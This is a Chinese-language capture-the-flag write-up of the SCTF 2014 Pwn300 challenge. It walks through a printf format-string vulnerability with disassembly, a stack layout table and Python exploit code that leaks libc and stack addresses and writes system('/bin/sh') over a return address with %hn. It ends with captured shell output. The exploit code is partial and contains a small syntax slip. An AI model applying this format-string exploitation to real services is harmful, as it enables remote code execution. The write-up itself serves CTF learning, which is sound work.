SCtf2014 Pwn300 详解

本文年代久远,其中的表述和倾向可能与现在不同,请留意时效。

参考资料量近乎pwn200的一倍……全网能搜到的writeup版本大概有4个,但是没有一个exp看得懂的……最后好不容易攒了几天智商几个小时一次写成了……感觉这个format string 挺典型的(个毛,以前都没做过哪知道典不典型)

程序功能描述一下: nc连上去后有四个选项,1为一个猜数字游戏,一轮直接退出,无意义;2为留下一条消息;3显示这个消息;4退出

2功能用一个自定函数读入n个字符进入一个全局缓冲区,无利用点;3功能把缓冲区内容copy到栈上然后printf,其中这个printf存在format string漏洞(哎。。copy到栈上……也是故意的……其实printf读的是全局缓冲区的内容,这个copy是为后边构造带%n的利用字串准备的。。)

.text:0804880E 42C mov     dword ptr [esp+4], offset src ; src  
.text:08048816 42C lea     eax, [ebp+dest] ; Load Effective Address  
.text:0804881C 42C mov     [esp], eax      ; dest  
.text:0804881F 42C call    _strcpy         ; Call Procedure  
.text:08048824 42C mov     dword ptr [esp], offset aYourMessageIs ; "Your message is:"  
.text:0804882B 42C call    _printf         ; Call Procedure  
.text:08048830 42C mov     dword ptr [esp], offset src 
.text:08048837 42C call    _printf         ; format str  
.text:0804883C 42C mov     eax, [ebp+var_chkStack]  
.text:0804883F 42C xor     eax, large gs:14h ; Logical Exclusive OR

仍然有nx,也不会写shellcode,选择与pwn200相似的思路劫持返回流,与pwn200不同的是通过printf,栈地址和其上的内容是可以精确控制的,有其它队伍writeup里写到无法得知栈地址转而劫持got表,其实说得不对。

触发printf的调用链是main --> get_left_msg(3#) --> printf;于是可以利用printf来获取get_left_msg栈帧存放的main的ebp地址,通过main的ebp可以计算出当前get_left_msg的ebp,通过这个ebp就能访问get_left_msg栈帧的所有内容。
做的时候其实各种地址偏移都是连算带猜出来的,写这篇writeup的时候才用gdb仔细跟踪了下栈的结构,最后画个详细的表:

H  
ADDR                |   CONTENT  
----------------------------------------------------------------  
ebp_main+4h         |   addr ret to __libc_start_main  
ebp_main            |   ebp_prev  
-4h                 |   useless             ; align  
-8h                 |   useless             ; align  
-8h-20h             |   stack  
-8h-20h-4h          |   addr ret to main    ; 0x804894e  
-8h-20h-8h          |   ebp_main            ; ebp_get_left_msg  
-8h-20h-8h-428h     |   stack               ; current esp  
----------------------------------------------------------------  
L

访问ebp_get_left_msg获得ebp_main,再减去某个偏移(表中:0x2c),获得存放返回地址的栈地址,改写这个栈地址的内容劫持eip。另外返回到__libc_start_main的地址也在栈上,读取这个值计算system和/bin/sh字串的偏移,这跟pwn200是一样的。

具体的地址偏移花了不少精力去跟踪才得出来的,关键是ebp_mainebp_main-8这两个地址是被如下代码

.text:0804889F 000 push    ebp  
.text:080488A0 004 mov     ebp, esp  
.text:080488A2 004 and     esp, 0FFFFFFF0h ; 这里,esp -= 8  
.text:080488A5 004 sub     esp, 20h        ; Integer Subtraction  
.text:080488A8 024 mov     eax, ds:stdout  
.text:080488AD 024 mov     dword ptr [esp+0Ch], 0 ; n

对齐esp时sub掉的,这点在ida中无法体现(栈指针都没变化是吧),必须动态跟踪才能知道。虽然调试之前已经把exp写出来了,但是那时用的地址很大程度有瞎蒙成分……

选项2和选项3可以重复多次调用,于是首先先把栈地址和所需的数据leak出来:

#代码并非完整可用的代码,其中用到自己写的框架,有一些奇葩的语法实现,不过完整代码也没意义,记录思路就好  
t = exp_framework('218.2.197.248',10002)  
(t*2).recv() #欢迎信息要读两次……  
t.send('2\n','[%279$x]\n','3\n') #leak libc base  
d = (t*2).recv()  
base = int(d[d.find('[')+1:d.find(']')],16)-0x194d3  
print 'base:',hex(base)  
system_addr = base+0x3f430  
shstr_addr = base+0x160f58  
t.send('2\n','[%266$x]\n','3\n') #leak main stack base addr  
d = (t*2).recv()  
ebp_main = int(d[d.find('[')+1:d.find(']')],16)  
ret_addr = ebp_main - 0x2c

其中266$x与279$x分别引用的是[esp+266*4]=[ebp_get_left_msg]=ebp_main[esp+279*4]=[ebp_main+4]=addr ret2 __libc_start_main
接下来构造带有%n的字串把算好的值填入预定位置。

这个%n迷惑了我不少天,其正确形式应该是这样的:printf("6bytes%n",&nWriten);也就是说栈上保存着待写入变量的地址,然后数据会写入到这个地址指向的内存去。好,那么分开两部分构造利用字串,part1是一系列连在一起的地址,供%n引用;part2是%(val)c%(pos)$n构造具体的写入值。构造写入值的时候还有个问题,虽然可以用%12345c这种方法强制输出12345个字符,但是这个数字是有上限的,粗略测试了一下,可以比65535大点,为了方便与统一起见,将每个待写入的值都拆成高低16位用%hn写入每个地址的低2字节。写入值先以升序排序,然后构造最终的exp字串。
最后我们要找到字符串在栈上的地址,否则%n无法引用到。这里程序中那个无意义的strcpy就派上用场了(这种故意留的门好蛋疼……)

-00000428 ; Frame size: 428; Saved regs: 4; Purge: 0  
-00000428 ;  
-00000428  
-00000428 var_428         dd ?  
-00000424 var_424         dd ?  
-00000420 var_420         dd ?  
-0000041C var_41C         dd ?  
-00000418 var_418         dd ?  
-00000414 var_414         dd ?  
-00000410 var_410         dd ?  
-0000040C dest            dd 256 dup(?)  
-0000000C var_chkStack    dd ?  
-00000008 var_8           dd ?  
-00000004 var_4           dd ?  
+00000000  s              db 4 dup(?)  
+00000004  r              db 4 dup(?)

ESP在0x428,字符串会被copy到栈上dest的位置。0x428 - 0x40c = 0x1c ; 0x1c = 4*7也就是说%7$n刚好引用到字符串本身,把地址放在开头比较简便。

syl = system_addr & 0xffff  
syh = (system_addr & 0xffff0000) >> 16  
szl = shstr_addr & 0xffff  
szh = (shstr_addr & 0xffff0000) >> 16  
#先将写入值与对应地址做好映射。写入值必须升序,那么地址顺序会被打乱。所以先dict放在一起。  
wr_mp = {syl:ret_addr,syh:ret_addr+2,szl:ret_addr+8,ret_addr+10}  
filled = len(struct.pack('IIII',syl,syh,szl,szh))  
addr_pack = '' #一系列地址  
ss = '' #写入值与%hn  
for i,pair in enumerate(sorted(wr_mp.iteritems(),key=lambda d:d[0])):  
    v,pos = pair  
    addr_pack+=struct.pack('I',pos)  
    tofill = v-filled  
    ss += '%'+str(tofill)+'c%'+str(i+7)+'$hn' #第一个地址从%7$开始  
    filled += tofill  
pl = addr_pack+ss+'\n' #构造好的payload

后边就是send,等待get_left_msg函数返回,就可以getshell了。成功截图(伪):

===============================  
^Caddr should be: 0xb7636430 0xb7757f58  
/bin/sh: 1: 2: not found  
/bin/sh: 2: Real: not found  
/bin/sh: 3: 3: not found  

/bin/sh: 4:  

4: not found  

cmd-$ cd /home  
cmd-$ ls  

pwn1  
pwn2  
pwn3  
syclover  

cmd-$ cd pwn2  
cmd-$ ls  

flag  
pwn  

cmd-$ cat flag  

SCTF{ZQzq2617}  

cmd-$ ^C  

close shell.